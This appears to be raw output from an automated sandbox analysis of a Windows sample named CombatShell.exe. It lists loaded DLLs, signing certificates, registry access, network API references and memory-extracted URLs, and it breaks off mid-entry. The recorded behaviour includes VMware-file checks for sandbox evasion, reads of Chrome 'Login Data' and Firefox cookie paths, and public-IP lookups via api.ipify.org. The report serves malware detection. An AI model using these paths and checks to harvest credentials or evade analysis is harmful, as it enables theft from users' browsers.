"%WINDIR%\SYSTEM32\APPXDEPLOYMENTCLIENT.DLL" at base 7ff860880000 "CombatShell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 7ff86ba70000 "CombatShell.exe" loaded module "API-MS-WIN-SECURITY-BASE-L1-1-0.DLL" at base 7ff86a540000 "CombatShell.exe" loaded module "VM3DGL64.DLL" at base 7ff823d80000 "CombatShell.exe" loaded module "VM3DGLHELPER64.DLL" at base 7ff823d30000 "CombatShell.exe" loaded module "KERNEL32.DLL" at base 7ff86c070000 "CombatShell.exe" loaded module "GDI32.DLL" at base 7ff86a8f0000 "CombatShell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 7ff868f60000 "CombatShell.exe" loaded module "%WINDIR%\SYSTEM32\UIAUTOMATIONCORE.DLL" at base 7ff84bc30000 "CombatShell.exe" loaded module "%WINDIR%\SYSTEM32\OLEAUT32.DLL" at base 7ff86c820000 "CombatShell.exe" loaded module "API-MS-WIN-CORE-WINRT-ERROR-L1-1-0.DLL" at base 7ff86ba70000 "CombatShell.exe" loaded module "OLEAUT32.DLL" at base 7ff86c820000 "CombatShell.exe" loaded module "ADVAPI32.DLL" at base 7ff86bfc0000 "CombatShell.exe" loaded module "CRYPT32.DLL" at base 7ff86a230000 "CombatShell.exe" loaded module "%WINDIR%\SYSTEM32\ICONCODECSERVICE.DLL" at base 7ff823d20000 "CombatShell.exe" loaded module "NCRYPT.DLL" at base 7ff8697c0000 "CombatShell.exe" loaded module "OLE32.DLL" at base 7ff86c140000 "CombatShell.exe" loaded module "SECUR32.DLL" at base 7ff85f1d0000 "CombatShell.exe" loaded module "SHELL32.DLL" at base 7ff86b190000 "CombatShell.exe" loaded module "USERENV.DLL" at base 7ff8694d0000 "CombatShell.exe" loaded module "WS2_32.DLL" at base 7ff86c660000 "CombatShell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0.DLL" at base 7ff86a540000 "CombatShell.exe" loaded module "BCRYPTPRIMITIVES.DLL" at base 7ff86a4c0000 "CombatShell.exe" loaded module "MSVCRT.DLL" at base 7ff86b990000 "CombatShell.exe" loaded module "SSPICLI.DLL" at base 7ff8691b0000 "CombatShell.exe" loaded module "%WINDIR%\SYSTEM32\SCHANNEL.DLL" at base 7ff868dd0000 "CombatShell.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTSSLP.DLL" at base 7ff85aa30000 "CombatShell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ff86a4c0000 "CombatShell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ff868ed0000 "CombatShell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPTNET.DLL" at base 7ff857eb0000 "CombatShell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7ff86a230000 "CombatShell.exe" loaded module "%WINDIR%\SYSTEM32\MSCTF.DLL" at base 7ff86b07000039:T5f4,The input sample is signed with a certificate issued by "CN=WE1, O=Google Trust Services, C=US" (SHA1: B6:43:2D:30:3C:0D:E5:13:B7:32:8A:28:4E:69:95:BC:C6:20:DD:F9; see report for more information) The input sample is signed with a certificate issued by "CN=GTS Root R4, O=Google Trust Services LLC, C=US" (SHA1: 10:8F:BF:79:4E:18:EC:53:47:A4:14:E4:37:0C:C4:50:6C:29:7A:B2; see report for more information) The input sample is signed with a certificate issued by "CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE" (SHA1: 93:2B:ED:33:9A:A6:92:12:C8:93:75:B7:93:04:B4:75:49:0B:89:A0; see report for more information) The input sample is signed with a certificate issued by "CN=WE1, O=Google Trust Services, C=US" (SHA1: D0:32:B1:0D:33:39:2D:85:AB:3D:E6:77:E9:23:83:C3:71:F6:AE:5F; see report for more information) The input sample is signed with a certificate issued by "CN=AAA Certificate Services, O=Comodo CA Limited, L=Salford, ST=Greater Manchester, C=GB" (SHA1: 32:9B:78:A5:C9:EB:C2:04:32:42:DE:90:CE:1B:7C:6B:1B:A6:C6:92; see report for more information) The input sample is signed with a certificate issued by "CN=Sectigo Public Code Signing Root R46, O=Sectigo Limited, C=GB" (SHA1: 01:85:FF:99:61:FF:0A:A2:E4:31:81:79:48:C2:8E:83:D3:F3:EC:70; see report for more information) The input sample is signed with a certificate issued by "CN=Sectigo Public Code Signing CA EV R36, O=Sectigo Limited, C=GB" (SHA1: B9:3C:BB:E3:7A:AF:7D:05:91:F0:12:66:02:92:E7:02:3E:42:25:E5; see report for more information)3a:T95e,"CombatShell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\NAMESPACE_CATALOG5\00000016"; Key: ""; Value: "") "CombatShell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\0000000C"; Key: ""; Value: "") "CombatShell.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0000032A-0000-0000-C000-000000000046}"; Key: ""; Value: "") "CombatShell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0000032A-0000-0000-C000-000000000046}"; Key: ""; Value: "") "CombatShell.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{0000032A-0000-0000-C000-000000000046}"; Key: ""; Value: "") "CombatShell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{0000032A-0000-0000-C000-000000000046}"; Key: ""; Value: "") "CombatShell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\PACKAGEDCOM\TREATASCLASSINDEX\{0000032A-0000-0000-C000-000000000046}"; Key: ""; Value: "") "CombatShell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\PACKAGEDCOM\CLASSINDEX\{0000032A-0000-0000-C000-000000000046}"; Key: ""; Value: "") "CombatShell.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{00000344-0000-0000-C000-000000000046}"; Key: ""; Value: "") "CombatShell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{00000344-0000-0000-C000-000000000046}"; Key: ""; Value: "") "CombatShell.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{00000344-0000-0000-C000-000000000046}"; Key: ""; Value: "") "CombatShell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{00000344-0000-0000-C000-000000000046}"; Key: ""; Value: "") "CombatShell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\PACKAGEDCOM\TREATASCLASSINDEX\{00000344-0000-0000-C000-000000000046}"; Key: ""; Value: "") "CombatShell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\PACKAGEDCOM\CLASSINDEX\{00000344-0000-0000-C000-000000000046}"; Key: ""; Value: "") "CombatShell.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{BF1CBC9A-31A8-4686-B9A5-F11FC4534695}"; Key: ""; Value: "") "CombatShell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{BF1CBC9A-31A8-4686-B9A5-F11FC4534695}"; Key: ""; Value: "") "CombatShell.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{BF1CBC9A-31A8-4686-B9A5-F11FC4534695}"; Key: ""; Value: "")3b:T9a3,"CombatShell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\NAMESPACE_CATALOG5"; Key: "SERIAL_ACCESS_NUM"; Value: "") "CombatShell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "SERIAL_ACCESS_NUM"; Value: "") "CombatShell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{00020424-0000-0000-C000-000000000046}"; Key: "ACTIVATEONHOSTFLAGS"; Value: "") "CombatShell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{00020424-0000-0000-C000-000000000046}"; Key: ""; Value: "") "CombatShell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{00020424-0000-0000-C000-000000000046}\INPROCSERVER32"; Key: "INPROCSERVER32"; Value: "") "CombatShell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{00020424-0000-0000-C000-000000000046}\INPROCSERVER32"; Key: ""; Value: "") "CombatShell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{00020424-0000-0000-C000-000000000046}\INPROCSERVER32"; Key: "THREADINGMODEL"; Value: "") "CombatShell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{00020424-0000-0000-C000-000000000046}"; Key: "APPID"; Value: "") "CombatShell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "6CA52A90-42A0-5808-EBBF-A179C2A38F33"; Value: "") "CombatShell.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYENABLE"; Value: "") "CombatShell.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYSERVER"; Value: "") "CombatShell.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYOVERRIDE"; Value: "") "CombatShell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SYSTEM"; Key: "COPYFILEBUFFEREDSYNCHRONOUSIO"; Value: "") "CombatShell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SYSTEM"; Key: "COPYFILECHUNKSIZE"; Value: "") "CombatShell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SYSTEM"; Key: "COPYFILEOVERLAPPEDCOUNT"; Value: "") "CombatShell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "")3c:T4fd,"CombatShell.exe" trying to touch file "C:\Windows\System32\bcrypt.dll" "CombatShell.exe" trying to touch file "C:\Windows\System32\dwmapi.dll" "CombatShell.exe" trying to touch file "C:\Windows\System32\opengl32.dll" "CombatShell.exe" trying to touch file "C:\Windows\System32\UIAutomationCore.dll" "CombatShell.exe" trying to touch file "C:\Windows\System32\userenv.dll" "CombatShell.exe" trying to touch file "C:\Windows\System32\uxtheme.dll" "CombatShell.exe" trying to touch file "C:\Windows\System32\glu32.dll" "CombatShell.exe" trying to touch file "C:\Windows\System32\cryptbase.dll" "CombatShell.exe" trying to touch file "C:\Windows\System32\DXCore.dll" "CombatShell.exe" trying to touch file "C:\Windows\System32\fltLib.dll" "CombatShell.exe" trying to touch file "C:\Windows\System32\cryptsp.dll" "CombatShell.exe" trying to touch file "C:\windows\temp\VxOle64.dll" "CombatShell.exe" trying to touch file "C:\Windows\System32\en-US\user32.dll.mui" "CombatShell.exe" trying to touch file "C:\WINDOWS\system32\rpcss.dll" "CombatShell.exe" trying to touch file "C:\Windows\System32\rpcss.dll" "CombatShell.exe" trying to touch file "C:\WINDOWS\SYSTEM32\kernel.appcore.dll" "CombatShell.exe" trying to touch file "C:\Windows\System32\kernel.appcore.dll"3d:T4af,"CombatShell.exe" trying to access non-existent file "C:\vm3dgl64.dll" "CombatShell.exe" trying to access non-existent file "C:\vm3dglhelper64.dll" "CombatShell.exe" trying to access non-existent file "C:\WINMM.dll" "CombatShell.exe" trying to access non-existent file "C:\WindowsCodecs.dll" "CombatShell.exe" trying to access non-existent file "C:\ncrypt.dll" "CombatShell.exe" trying to access non-existent file "C:\NTASN1.dll" "CombatShell.exe" trying to access non-existent file "C:\secur32.dll" "CombatShell.exe" trying to access non-existent file "C:\SSPICLI.DLL" "CombatShell.exe" trying to access non-existent file "C:\Windows\System32\drivers\vmdum.dll" "CombatShell.exe" trying to access non-existent file "C:\Windows\System32\drivers\vm3dver.dll" "CombatShell.exe" trying to access non-existent file "C:\Windows\System32\drivers\vmtray.dll" "CombatShell.exe" trying to access non-existent file "C:\Windows\System32\drivers\VMToolsHook.dll" "CombatShell.exe" trying to access non-existent file "C:\Windows\System32\drivers\vmmousever.dll" "CombatShell.exe" trying to access non-existent file "C:\DPAPI.dll" "CombatShell.exe" trying to access non-existent file "C:\MSASN1.dll"3e:Td0a,"CombatShell.exe" trying to access non-existent file "C:\Windows\SystemResources\USER32.dll.mun" "CombatShell.exe" trying to access non-existent file "C:\Windows\System32\drivers\vmx_svga.sys" "CombatShell.exe" trying to access non-existent file "C:\Windows\System32\drivers\vmxnet.sys" "CombatShell.exe" trying to access non-existent file "C:\Windows\System32\drivers\vmscsi.sys" "CombatShell.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\lfdjd4n4.default\cookies.sqlite" "CombatShell.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\AutofillStates\Login Data" "CombatShell.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\CertificateRevocation\Login Data" "CombatShell.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\ClientSidePhishing\Login Data" "CombatShell.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Crashpad\Login Data" "CombatShell.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Crowd Deny\Login Data" "CombatShell.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\FileTypePolicies\Login Data" "CombatShell.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\FirstPartySetsPreloaded\Login Data" "CombatShell.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\GraphiteDawnCache\Login Data" "CombatShell.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\GrShaderCache\Login Data" "CombatShell.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\hyphen-data\Login Data" "CombatShell.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\MediaFoundationWidevineCdm\Login Data" "CombatShell.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\MEIPreload\Login Data" "CombatShell.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\OnDeviceHeadSuggestModel\Login Data" "CombatShell.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\OptimizationHints\Login Data" "CombatShell.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\OriginTrials\Login Data" "CombatShell.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PKIMetadata\Login Data" "CombatShell.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\pnacl\Login Data" "CombatShell.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PnaclTranslationCache\Login Data" "CombatShell.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PrivacySandboxAttestationsPreloaded\Login Data" "CombatShell.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\RecoveryImproved\Login Data"3f:T652,Found reference to API "WSARecv" (Indicator: "WSARecv"; File: "CombatShell.exe") Found reference to API "WSASendMsg" (Indicator: "WSASend"; File: "CombatShell.exe") Found reference to API "WSASend" (Indicator: "WSASend"; File: "CombatShell.exe") Found reference to API "WSAStartup" (Indicator: "WSAStartup"; File: "CombatShell.exe") Found reference to API "WSASendTo" (Indicator: "WSASend"; File: "CombatShell.exe") Found reference to API "WSARecvFrom" (Indicator: "WSARecv"; File: "CombatShell.exe") Found reference to API "WSARecv" (Indicator: "WSARecv"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API "WSARecvFrom" (Indicator: "WSARecv"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API "WSASend" (Indicator: "WSASend"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API "WSASendMsg" (Indicator: "WSASend"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API "WSASendTo" (Indicator: "WSASend"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API "WSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp")40:T652,Found reference to API "WSARecv" (Indicator: "WSARecv"; File: "CombatShell.exe") Found reference to API "WSASendMsg" (Indicator: "WSASend"; File: "CombatShell.exe") Found reference to API "WSASend" (Indicator: "WSASend"; File: "CombatShell.exe") Found reference to API "WSAStartup" (Indicator: "WSAStartup"; File: "CombatShell.exe") Found reference to API "WSASendTo" (Indicator: "WSASend"; File: "CombatShell.exe") Found reference to API "WSARecvFrom" (Indicator: "WSARecv"; File: "CombatShell.exe") Found reference to API "WSARecv" (Indicator: "WSARecv"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API "WSARecvFrom" (Indicator: "WSARecv"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API "WSASend" (Indicator: "WSASend"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API "WSASendMsg" (Indicator: "WSASend"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API "WSASendTo" (Indicator: "WSASend"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API "WSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp")41:T490,Found reference to API "CreateNamedPipeW" (Indicator: "CreateNamedPipe"; File: "CombatShell.exe") Found reference to API "GetNamedPipeInfo" (Indicator: "GetNamedPipe"; File: "CombatShell.exe") Found reference to API "CreatePipe" (Indicator: "CreatePipe"; File: "CombatShell.exe") Found reference to API "ConnectNamedPipe" (Indicator: "ConnectNamedPipe"; File: "CombatShell.exe") Found reference to API "ConnectNamedPipe" (Indicator: "ConnectNamedPipe"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API "CreateNamedPipeW" (Indicator: "CreateNamedPipe"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API "CreatePipe" (Indicator: "CreatePipe"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API "GetNamedPipeInfo" (Indicator: "GetNamedPipe"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp")42:T1a85,Pattern match: "http://www.google.com/get/noto/http://www.monotype.com/studiothis" Heuristic match: "api.ipify.org" Heuristic match: "get / http/1.1accept: */*host: api.ipify.org" Heuristic match: "data.rel.ro" Heuristic match: "uc .vc" Heuristic match: "ay5~cz.ma" Heuristic match: "ipify.org" Heuristic match: "*.ipify.org" Pattern match: "www.digicert.com1" Heuristic match: "*b.ps" Pattern match: "it.com/r/gifs" Pattern match: "ww.reddit.com/r/gifs" Pattern match: "www.microsoft.com/pkiops/docs/repository.htm" Pattern match: "www.digicert.com1+0" Pattern match: "www.verisign.com/cps" Pattern match: "https://www.verisign.com/cps04" Pattern match: "http://crl.verisign.com/pca3.crl0" Pattern match: "https://api.ipify.org/" Heuristic match: "*h.com" Pattern match: "www.digicert.com1!0" Pattern match: "http://logo.verisign.com/vslogo.gif0" Pattern match: "img-s-msn-com.akamaized.net/tenant/amp/entityid/aadtrdx.img,title:linkedin,tilesource:-5,url:https://www.linkedin.com?trk=msn-top,direction:ltr,badge:null,adlabeltype:topsiteadtxtsmall,contextmenulabel:more" Pattern match: "img-s-msn-com.akamaized.net/tenant/amp/entityid/aachsdq.img,title:netflix,tilesource:-5,url:https://www.netflix.com/,direction:ltr,badge:null,adla" Pattern match: "img-s-msn-com.akamaized.net/tenant/amp/entityid/aa15kyc7.img,title:reddit,tilesource:-5,url:https://www.reddit.com,d" Pattern match: "https://www.microsoft.com" Pattern match: "www.microsoft.com" Heuristic match: "<_https://ntp.msn.com" Pattern match: "https://ntp.msn.com/edge/ntp?feedpivot=following&csronl" Pattern match: "http://img-s-msn-com.akamaized.net/tenant/amp/entityid/aa1i5tad.img}],enablerecommendedsites:true,recommendedsites:[{locationindex:7,title:following,url:https://ntp.msn.com/edge/ntp?feedpivot=following&csronly=true&query=adult&form=flpg&feedd" Pattern match: "https://ntp.msn.com" Pattern match: "https://github.com" Pattern match: "https://github.githubassets.com/assets/wp-runtime-49d3289a7284.js,vendors-node_modules_dompurify_dist_purify_js.js:https://github.githubassets.com/assets/vendors-node_modules_dompurify_dist_purify_js-810e4b1b9abd.js,vendors-node_modules_oddbird_popov" Pattern match: "https://github.githubassets.com/assets/vendors-node_modules_github_text-expander-element_dist_index_js-19ce25503c82.js,vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_delegated-events_dist_in-af795d.js:https://github.githubassets.c" Pattern match: "crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0" Pattern match: "www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0" Pattern match: "github.githubassets.com/assets/vendors-node_modules_scroll-anchoring_dist_scroll-anchoring_esm_js-node_modules_github_hotkey-1a1d91-56e858031112.js,vendors-node_modules_color-convert_index_js.js:https://github.githubassets.com/assets/vendors-node_modul" Pattern match: "crl.comodoca.com/aaacertificateservices.crl06" Pattern match: "crl.comodo.net/aaacertificateservices.crl0" Pattern match: "https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_filter--0879fe-e212454b06b8.js,app_assets_modules_github_ref-selector_ts.js:https://github.githubassets.com/assets/app_assets_m" Pattern match: "github.githubassets.com/assets/react-lib-a89cbd87a1e0.js,vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_primer_octicons-react_di-b40d97.js:https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index" Pattern match: "https://github.githubassets.com/assets/vendors-node_modules_clsx_dist_clsx_m_js-node_modules_primer_react_node_modules_primer_octico-c56103-8d7e43c39cbf.js,vendors-node_modules_primer_react_lib-esm_actionlist_index_js.js:https://github.githubassets.com" Pattern match: "https://ntp.msn.com/edge/ntp?feedpivot=folg" Pattern match: "https://www.msn.com/en-us/money?form=antpsfin,faviconurl:cms/api/amp/image/bb1ax8yq}]}},{type:bellcoachmark,properties:{showcoachmark:false,tmpl:prg-no-bellcm-pro" Heuristic match: "s://helpx.adobe.com" Heuristic match: "p.msn.com" Pattern match: "aized.net/tenant/amp/entityid/aa13q6al.img,dom@" Pattern match: "https://ntp.msn@" Pattern match: "https://ntp.msn.com/edge/ntp?feedpivot=following&csronly=true&query=adult&form=flpg&feeddisplay=always],faviconurl:http://img-s-msn-com.akamaized.net/tenant/amp/entityid/aa1i5tad.img},{identifierhosts:[https://www.msn.com/en-us/shopping?form=ansbs6" Pattern match: "github.githubassets.com/assets/app_assets_modules_github_onfocus_ts-ui_packages_trusted-types-policies_policy_ts-ui_packages-6fe316-88898a485083.js,github-elements.js:https://github.githubassets.com/assets/github-elements-41a524cdc4d4.js,element-regi" Pattern match: "https://github.githubassets.com/assets/app_assets_modules_github_behaviors_ajax-error_ts-app_j" Pattern match: "https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7b4e1bb6ed01.js,app_assets_modules_github_blob-anchor_ts-app_assets_modules_github_filter-sort_ts-app_assets_-6dea" Pattern match: "https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_tooltipv2_tooltip_js-bf3e8e618a5c.js,vendors-node_modules_clsx_dist_clsx_m_js-node_modules_primer_react_node_modules_primer_octico-c56103.js:https://github.githubassets.co" Pattern match: "https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_selectpanel_selectpanel_js-84ec020d6084.js,ui_packages_react-core_create-browser-history_ts-ui_packages_safe-storage_safe-storage_ts-ui_-682c2c.js:https://github.githubass" Pattern match: "https://ntp.msn.com/edge/ntp?feedpivot=following&csronly=true&query=adult&form=flpg&feeddisplay=always],faviconurl:http://img-s-msn-com.akamaized.net/tenant/amp/entityid/aa1i5tad.img},{identifierhosts:[https://www.msn.com/en-us/money?form=antpsfin" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07" Pattern match: "http://www.microsoft.com0" Pattern match: "www.digicert.com1$0" Pattern match: "www.insidersurveys.windows.com06" Pattern match: "www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl" Pattern match: "crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0" Pattern match: "www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0" Pattern match: "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0t" Pattern match: "www.microsoft.com/pki/certs/microsoftrootcert.crt0" Pattern match: "http://microsoft.com0" Pattern match: "img-s-msn-com.akamaized.net/tenant/amp/entityid/aao"43:Ta9da,Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00005644.00000001.288725.261DB000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00005644.00000001.288725.261DB000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0quuu" - Source: "00000000-00005644.00000001.288725.261DB000.00000004.mdmp") Found URL "https://api.ipify.org/i0_1tokio-runtime-workert134t241dst044api.ipify.org1919048onuser.op79.op80t343rker54fximporertopenertgete0ertfreepfxexporpy" - Source: "00000000-00005644.00000001.288725.261DB000.00000004.mdmp") Found URL "https://api.ipify.org/ernel32eletese0manifestpreeconspysqgjsty@7" - Source: "00000000-00005644.00000001.288725.261DB000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppps://helpx.adobe.comu_sclid%b1b37d46-8d8@>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>pppp.msn.comspvisitsmetadata<_https://ntp.msn@>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>pppaized.net/tenant/amp/entityid/aa13q6al.img" - Source: "00000000-00005644.00000001.288725.261DB000.00000004.mdmp") Found URL "https://ntp.msn@>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>pppmmendedsites" - Source: "00000000-00005644.00000001.288725.261DB000.00000004.mdmp") Found URL "https://ntp.msn.comfallbacknavigationres@" - Source: "00000000-00005644.00000001.288725.261DB000.00000004.mdmp") Found URL "https://ntp.msn.comlastknownpv1721080261795-_https://ntp.msn.comlastvisuallyreadymarker1721080262612/_https://ntp.msn.comnotification_cache_ls_key" - Source: "00000000-00005644.00000001.288725.261DB000.00000004.mdmp") Found URL "https://ntp.msn.comonesvcunitunmodeheader" - Source: "00000000-00005644.00000001.288725.261DB000.00000004.mdmp") Found URL "https://ntp.msn.compageversions," - Source: "00000000-00005644.00000001.288725.261DB000.00000004.mdmp") Found 